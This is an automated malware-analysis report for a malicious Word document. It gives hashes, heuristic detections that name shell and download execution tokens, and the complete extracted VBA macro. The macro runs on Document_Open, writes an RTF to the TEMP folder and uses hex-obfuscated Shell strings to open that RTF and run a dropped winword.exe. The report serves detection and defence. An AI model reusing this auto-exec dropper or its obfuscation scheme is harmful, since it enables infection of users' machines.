Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 284f9c42e584ed86…

MALICIOUS

Office (OOXML)

17.4 KB Created: 2020-08-28 10:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-10-09
MD5: 15fb3cad9ed0346af5dcf02b42ef8c4f SHA-1: 5d53afd899da1f427cf5a7733c84867c9f42806f SHA-256: 284f9c42e584ed86e546fbdfbf309224773212effa4ef96dcaf355001fa2f354
198 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (ucldjlivskkr("636d64202f632073746172742077696e776f7264202554454d50252f546573") & ucldjlivskkr("742e72746620262074696d656f757420352026202554454d50255c77696e776f72642e657865"))
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Shell (ucldjlivskkr("636d64202f632073746172742077696e776f7264202554454d50252f546573") & ucldjlivskkr("742e72746620262074696d656f757420352026202554454d50255c77696e776f72642e657865"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    temp_path = Environ("TEMP") + "\"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1828 bytes
SHA-256: 23e8fe60c2a3c55861f1c2390712270e0669cd6eff9365d800cc1ded57592225
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 And Win64 Then
Private Declare PtrSafe Sub cnqqjyyvfeirpmomazok Lib "kernel32" Alias "Sleep" (ByVal gexnzsraacndhtvn As Long)
#Else
Private Declare Sub cnqqjyyvfeirpmomazok Lib "kernel32" Alias "Sleep" (ByVal gexnzsraacndhtvn As Long)
#End If
Private Sub Document_Open()
Dim dvvpydmkcpoi As String
temp_path = Environ("TEMP") + "\"
qwerty = temp_path + ucldjlivskkr("54657374") & ucldjlivskkr("2e727466")
Selection.WholeStory
Selection.Copy
Documents.Add Template:=ucldjlivskkr("4e6f726d61") & ucldjlivskkr("6c"), NewTemplate:=False, DocumentType:=0
Selection.PasteAndFormat (wdPasteDefault)
ActiveDocument.SaveAs FileName:=qwerty, FileFormat:= _
wdFormatRTF, LockComments:=False, Password:="", AddToRecentFiles:= _
True, WritePassword:="", ReadOnlyRecommended:=False, EmbedTrueTypeFonts:= _
False, SaveNativePictureFormat:=False, SaveFormsData:=False, _
SaveAsAOCELetter:=False
cnqqjyyvfeirpmomazok (10)
Application.Documents(ucldjlivskkr("54") & ucldjlivskkr("6573742e727466")).Close (Word.WdSaveOptions.wdDoNotSaveChanges)
cnqqjyyvfeirpmomazok (2)
Shell (ucldjlivskkr("636d64202f632073746172742077696e776f7264202554454d50252f546573") & ucldjlivskkr("742e72746620262074696d656f757420352026202554454d50255c77696e776f72642e657865"))
End Sub
Private Function ucldjlivskkr(ByVal zueebzehlpis As String) As String
Dim jlgbdyridtdt As Long
For jlgbdyridtdt = 1 To Len(zueebzehlpis) Step 2
ucldjlivskkr = ucldjlivskkr & Chr$(Val("&H" & Mid$(zueebzehlpis, jlgbdyridtdt, 2)))
Next jlgbdyridtdt
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 26ef57ab1457750e9649d4998f3ed679964b34493c733440f15ff258b420263b